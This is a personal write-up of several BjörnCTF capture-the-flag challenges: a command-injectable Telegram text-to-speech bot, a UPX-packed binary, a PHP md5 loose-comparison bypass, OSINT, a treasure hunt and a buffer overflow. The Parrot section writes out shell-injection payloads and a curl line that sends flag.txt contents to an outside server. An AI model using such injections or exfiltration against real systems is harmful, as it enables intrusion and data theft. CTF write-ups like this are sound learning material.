BjörnCTF

BjörnCTF is a Capture the Flag event organized by flagbot, the CTF Team of VIS.

I did not intend to stay for longer than 2 hours, just to see what it's like before going home and sleep. But my expectation that I wouldn't be able to get much done - an expectation that was set by the C3CTFs in 2019 and 2020 - proved itself wrong when my team intim submitted the very first flag of the BjörnCTF and we spontaneously decided to hack during the whole night.

Here are a number of select challenges that we solved. Perhaps it will only be one, because I don't take the time to write more writeups, perhaps there will be many. But first, the funniest.

Contents

Parrot

My friend just set up a new bot on Telegram that speaks out loud whatever you want it to say. Wanna give it a try? [Telegram Bot Link]

Author: cyanpencil

The telegram bot offered three commands in the help section. A bot can choose to react to any command, so this is not guaranteed to be a complete set of possible commands, but in this case it was.

/help /pun - tell me a really, really funny joke
/say - let me speak to you
/source - show me naked (nsfw)

Running /pun replied with the hunter2 meme as text.

Running /say hunter2 replied with a clearly computergeneratd audio message that said hunter 2. To generate that, it is likely that they use espeak or say - which means they execute a shell command. I wouldn't be surprised if they don't correctly escape the message before passing it in there.

But what is this? Running /say hunter2;"echo test replies with a message that says flag. And running /say hunter2;" leads to a 5 minute message reading the source code aloud.

I'm pretty sure that my teammate had simultaneously ran first /say flag and then /source and that the bot just wasn't very careful with the audio message selection. Somebody from the organizers later confirmed that there might be a race. That made it a bit harder to figure out what works, but the second time I ran /say ;cat /dev/urandom, I actually got a random string read to me, which sounds so.

Some time in between, I actually listened to the whole source code to figure out any additional weakness, but haven't found one. What I did find there though, was that the pitch was randomized. Which means if a message is really painful to listen to, just query it again. Compare for example this hello to the urandom before.

Okay, so we got code execution pretty early into the game. Now what? /say ;ls might be a sensible choice, right? Well, fuck that, I went directly to /say ;cat flag.txt and actually got a reply. However... that reply was actually the output of an ls command. Running /say ;ls confirmed this in a different pitch. So I caved in and ran /say ;ls | grep flag. And the reply was of course: flag.txt.

/say ;cat flag.txt again - and this time it replied that bjorn some characters in flag are non pronounceable.

I had a simple solution for that: Encode the flag base64 before reading it to us. That solution has several drawbacks:

I was later told that the intended solution had been to use base32 to circumvent the capitalization problem, but we identified two other problems as well, so we didn't bother with base 32.

/say ;python -m http.server to set up a webserver in the current directory. But we don't know the target IP address. Running the server on my laptop instead also did not work out well, because my laptop was behind a router without port forwarding (at ETH).

So I set up my website to accept and store any request parameters. And /say ;curl "https://eric.mink.li/flaggy.php?a=$(cat flag.txt)" actually produced content to my logfile! But it did not evaluate the command - instead it logged it as a string on my website.

Had I listened right there to the audio output I got back, I would have quickly realized that something was off. But I did not, and I was punished for it by having to try a few more times before I understood that the server the bot was running on actually did not manage to resolve my website. The traffic I got on the website was from telegram itself, trying to generate a link preview. That's why I sometimes also got a=$(cat f or another substring of our payload in my logs before I got the complete version: Telegram tries already while you are not finished typing.

Another idea: Send the flag to my own telegram bot. I vaguely recalled that you can add parameters to the t.me address that are redirected to the bot. And telegram's domains should not be blocked in the firewall, right? Well, turns out that cyanpencil did a damn good job at securing that thing. I don't know what exactly they did, but it kept us from accessing anything in the internet that was not a reply to the telegram message.

So... how about rewriting the puns.txt file, so that the result of /pun would be a text version of the flag? Permission denied. Sudo? Not installed. Su? Wrong password.

Rewriting the bot's source code so that it would tell us the flag instead of "show me naked"? /say ;sed -i 's/show me naked/'$(cat flag.txt)'/g' *.py

Permission denied.

So I went back to the audio approach. Replaced some common unpronounceable characters so that they would be read. E.g. /say ;sed -i 's/_/ underscore /g' tmp.txt. And that approach would have worked, if we had had the patience to figure out all the characters that were in there. But we didn't.

Parrot Solution

That's when a teammate took over. Josua wrote a script to convert the contents of flag.txt to binary representation. Then he ran a speech-to-text software on the resulting audio, and converted that text back to characters.

Underway, he had the issue that all leading 0s were cut off, and that the message generator had a timeout. After fixing the first issue, the second issue was resolved by only generating parts of the flag's binary as audio and stringing the results together in the end.

Parrot Edit

I don't know what exactly they did, but it kept us from accessing anything in the internet that was not a reply to the telegram message.

This is at the time of writing no longer true. Cyanpencil, the author of this challenge, was so kind to contact me with the bot's source code as text instead of voice message. Consider this snippet from it:

The command unshare has a not-so-great man page, but this article gives a good enough overview to understand that it blocks all network access for our payload commands while keeping networking for the bot itself intact.

Babyrev

This binary got strangely smaller than it was originally. I wonder what happened to it?

That's the very first challenge we solved.

"babyrev.out? Wait, is this a wireshark capture? Ah, no, wait, that's just windows being windows, nvm."

That's obviously not the full flag, because the flags all have the format bjorn{<asciicharacters>}. But what is upx? Let's do a quick web search to find this:

UPX is an advanced executable file compressor. UPX will typically reduce the file size of programs and DLLs by around 50%-70%, thus reducing disk space, network load times, download times and other distribution and storage costs.

We will NOT add any sort of protection and/or encryption. This only gives people a false feeling of security because by definition all protectors/compressors can be broken. And don't trust any advertisement of authors of other executable compressors about this topic - just do a websearch on "unpackers"...

From there, Jonathan simply ran some unpacker he found online and then strings gave us the complete flag.

Bear Magic

A web challenge, tagged hash and md5.

A wizard from the bear kingdom once told me he could get through password checks without knowing the password at all. Are you a wizard as well?

Author: Marc Himmelberger

Along with the website link, the php source was provided:

So they compute the md5 hash of my input appended to a constant string $salt and then check whether it's equal to the hash they have stored in $password.

I already knew that you aren't supposed to use md5 for this kind of thing, because it is fast to compute. So I fired up a brute force python script. But that was pretty slow, so I tried hashcat instead, running on the GPU.

Hashcat estimated 13 hours to compute all hashes up to an input of length 8 (appended to the salt). That's still slower than was probably intended. Let's look at the code again.

They compare $password to $hash. And $password is of the form 0e<something>. In php, '0e12345' == '0e54321' is true, because each of those is interpreted as zero to the power of .... That means all we need is an input such that md5($salt . $input) begins with 0e.

I found such an input - it's aO. But that did not work. Because it contained not only digits after the e.

Also take note of the -n flag. At first I omitted that, and in turn my bash shell effectively computed the hash of "HwoAU_SeasonYourCuttingBoardaO\n", which of course did not match the result from python for the same input.

Still, finding a hash that starts with 0e and then only contains digits should not be that hard, compared to finding an exact collision. So I did that:

That does take significantly longer than just finding any hash starting with 0e, but it was still doable in less than two hours.

 

OSINT: Bearnappers

We're trying to track Björn's kidnappers over the internet now. Unfortunately, the only starting point we have so far is a PGP signed message, but I believe they linked it to more of their identity, somehow. Maybe even to some social media or to chat with it. Can you track them?

Author: Robin Jadoul

The key ID 2F296A51 could indeed not be found on the keyservers. However, it was on keybase.io. And in the profile description, there was the flag already:

We did not manage to complete the followup challenge Bearnappers 2

Good job, you found them. Can you track where they get their funds from? You will need to find three distinct pieces. Note: This is the sequel to Bearnappers, so you will want to solve that first.

Author: Robin Jadoul

But I actually dived in too deep during my search of the first flag, and instead of noticing in the profile of BNaaS, I went straight to their only follower, bnfunding.

Bnfunding have a bitcoin address associated to their profile (bc1qnx4802xq2v8wqggqqp3h4euwrvmm5jamndzmcq).

Bnaas have a file "xor" on their public file space, containing the following line:

We went to check out a few bitcoin transactions and adresses associated with the one of bnfunding, but we did not find anything of the same length as that xor-line.

Treasure Hunt

That one was onsite. Two solves.

A treasure hunt for the people who come to ETH and want to explore a bit. Find your way through CAB to find at least 5 of the 6 secrets needed to reconstruct the flag (https://iancoleman.io/shamir/). For one of these secrets, telnet to the address noted below and talk to the oracle.

Connection

Attached was also a zip with two treasure maps which I will not reproduce here.

We needed a short break from all the hacking. So why not treasure hunt? In the room where we had been hacking until now, not many people were left apart from us and the organizers. It was probably somewhere around midnight. And in that room, the treasure map showed three large, red X.

XXXX

The first one was easily found: An A4 formatted piece of paper hanging from the table where the oscilloscope was seated upon. On it some python code and a link to the same code on github.

All variable names only consist of the character x, so the first thing I did was rename all of them so that it was easier to talk about them. Then I looked at the code.

There are large arrays of numbers involved, and a recursive call for computing something. Running the script takes longer than a minute, so I guessed that we had to optimize the code.

One approach would have been to understand the recursive code well enough to rewrite it iteratively. But before we invest brain power, let us first try to simply cache all computations, so that we need a bit more memory, but in return way less computiational power.

Storing every result in a dict and only computing when the result was not already in that dict made the program fast enough to run within a second or two, and it gave us the first secret.

Stage

The second X was placed near the stage where the tables of the organizers were placed. Behind the stage a big canvas, on which they projected some terminal, the countdown of the ctf, and in the background a nerdy, pixely screen-saver. We looked under the stage, on the stage, under the organizer's chairs, behind the canvas... and then we had an enlightenment: It must be hidden in plain sight, that would fit the humor of the organizers.

In fact, the "screen saver" was a simple background that changed color every second, and on it some black and white squares. Every second, some squares disappeared and others appeared.

I advocated for a long-exposure shot of the screen, but we somehow ended up writing it down manually. Then we converted our notes into a QR-code and got the second flag.

I'm not 100% certain, but I think we could have found that one simply by browsing one of the organizer's github gist profile - which we already knew from the first secret.

Bar

The third X was placed near the entrance, slightly to the right of the bar which has remained abandoned since the start of the CTF. Searching around it, we notice that there are softdrinks in the cooler and ask for the price. They're free!

After we continue searching for a few minutes, one of the organizers seems to realize something. "Hey, are you looking for the drinks secret?". We agree, and he leaves... turns out that that secret needs interaction from an organizer, and he went to search for them. Seems like nobody expected us to search that secret after midnight. At that point, we were the only team left in the room.

That is a good time to remark that I'm absolutely not surprised which other team also solved this challenge. Shoutout to team Chemie Labor - if you happen to see this, say hi!

We filled the waiting time by searching for other secrets. Fast-forward: It's a puzzle, and for each hint you need to drink a cup of beer. After five cups, we had all the hints we needed. After another three cups, we started trying to solve the puzzle.

It turned out that one of the puzzle pieces was wrongly-cut and is now thrown away. The correct ones could be arranged into a QR code.

Fishing Rod and Orange Juice

Also, a trash can.

There was this big, red X, on the map for the F floor, placed within a patio of the CAB building. That didn't really make much sense to us, because the F floor is higher than the floor of the patio.

We searched the place and found a fishing rod with a paper clip instead of a fishing hook, lying against a trashcan. So I assumed we need to fish something magnetic out there. After a few failing attempts to do that, we simply removed the trashcan from its fixture and manually searched it. Only trash.

After fixing the trashcan, I noticed a deserted bottle of orange juice, but its label was just a normal orange juice label, not a secret code.

We later came back around 5:30 to search again, but apart from a masters student eyeing us suspiciously, we still did not find anything.

Since the X was on the F floor map, we also walked through the adjacent corridor on that level, but the research group there would probably not have liked it if we had entered their bureaus, so we didn't do that.

In a desperate attempt, after an organizer mentioned that we are supposed to look up, I tried to interpret a photograph of the CAB brick walls as a barcode. But it wouldn't scan.

The G Spot Doesn't Exist

On the G floor map, there was only one marked place. If you happen to know the building, you'll be aware of the large monitors right below the foodlab.

We searched there, went back to the organizers to make sure it was already set up, went back to search there... loop that three times.

The secret was a barcode on a label. On the underside of a hidden drawer. Here's what we struggled with:

The code I scanned first led to a website titled "Level 3.8". I felt trolled, because I expected the secret directly. Turns out that was the code for a different treasure hunt, happening a day or so later. And it seems like nobody ever looked what was there under the drawer before sticking their own on top.

The other code led us to the secret.

Oracle

Having found four of the required five out of the possible six secrets, we had a look at the telnet secret.

It's a game called NetHack. The task is simple: "telnet to the address noted below and talk to the oracle". Well, but what is the oracle? The build number was sadly not an encoded secret.

As it turns out, the fifth or so level of this game actually contains an Oracle, and the organizers modded it to give out the secret when you pay it for a major consultation.

I believe Jonathan spent around 5 hours playing that game, after having the controls explained to him by one of the organizers. If I recall correctly, the organizer who had that evil idea was called Robin.

Baby BOF

That was a cool challenge! Let me try to recall it.

Initial investigation into the kidnappers gave us a data dump of software they are trying to develop. Let's pwn them!

Author: Robin Jadoul

As the name already implies, it has got to do with a buffer overflow. The code was kindly provided.

We started off by reading man pages. But the setvbuf is actually not that interesting and simply says that there is no buffering and it reads on line finish or when the requested number of bytes has been provided.

The executable, when run on the server, hands you the flag if the variable left equals 0xdeadbeef. It takes user input in a loop with no break condition other than i < 255 and in each iteration, it reads 8 bytes.

The comment already indicates that this is not a valid assumption. So let's assume that the architecture actually has 32bit (i.e. 4byte) integers and 4byte pointers.

Then our memory looks like this:

For some time, we were very confused whether perhaps the architecture has 2byte-chars (which would be legal as far as we know). We also were panicking a bit when we realized that the pointer length has not necessarily to do with the int size...

But assuming pointers are 4 byte, characters are 1 byte, and integers are 4 byte, let us figure out what memory we need. For one, we need i >= 255 to break the loop - otherwise, everything will be overwritten by the next loop. Since the loop increments i by one before performing the check, it should suffice to set i = 254 = 0xfe.

Here's how much we can actually write to using the 8 bytes that are read by read():

The message is written from right to left in this model. We don't care about the rightmost 4 bytes. The rest should look like this:

We used python to get characters with the corresponding byte value and copy pasted them in.

But here's the culprit for the confusion I mentioned earlier: Depending on the shell's character encoding, the pasting will be different than expected. Some unicode characters are multiple bytes long, but when pasted counted only as one byte. Others counted as more bytes than we expected.

We found that out because the next loop iteration starts after it read 8 bytes. But sometimes pasting less bytes of characters already started a new iteration. We didn't completely understand that and were horrified that perhaps a char is stored as 2 bytes. But we finally managed, by not pasting the characters manually and using echo instead. That also had the advantage that my shell did not send bytes whenever I pressed the backspace key.

Here's how to produce the input needed if we could write up to the leftmost byte:

But since we can only write 8 bytes, we need to store \xde in some other way. For that, we can make use of this line of code:

It shifts (255 - i) to the left by 3 bytes. That means if we want 0xef in the leftmost byte of left, we just need (255 - i) to be 0xde = 222. Which means that we want i = 255 - 0xde = 33. But because the loop will increment i again after we overwrite its memory, we actually need i = 32 = 0x20.

Once the leftmost byte of left is set to our liking, there is another read before we can break the loop and go to the left == 0xdeadbeef check. That means the code must:

  1. read some message1
  2. set the leftmost byte of left to 0xde by using a buffer overflow from message1
  3. read some message2
  4. write all the other bytes, including i

To set the leftmost byte, we use

Then the loop increments i to 0xde and shifts that three bytes to the left. Then we enter our payload for the other three bytes of left and i.

And pipe both into netcat.

Note however, that we do not want a trailing newline added by echo. So we specify the -n flag.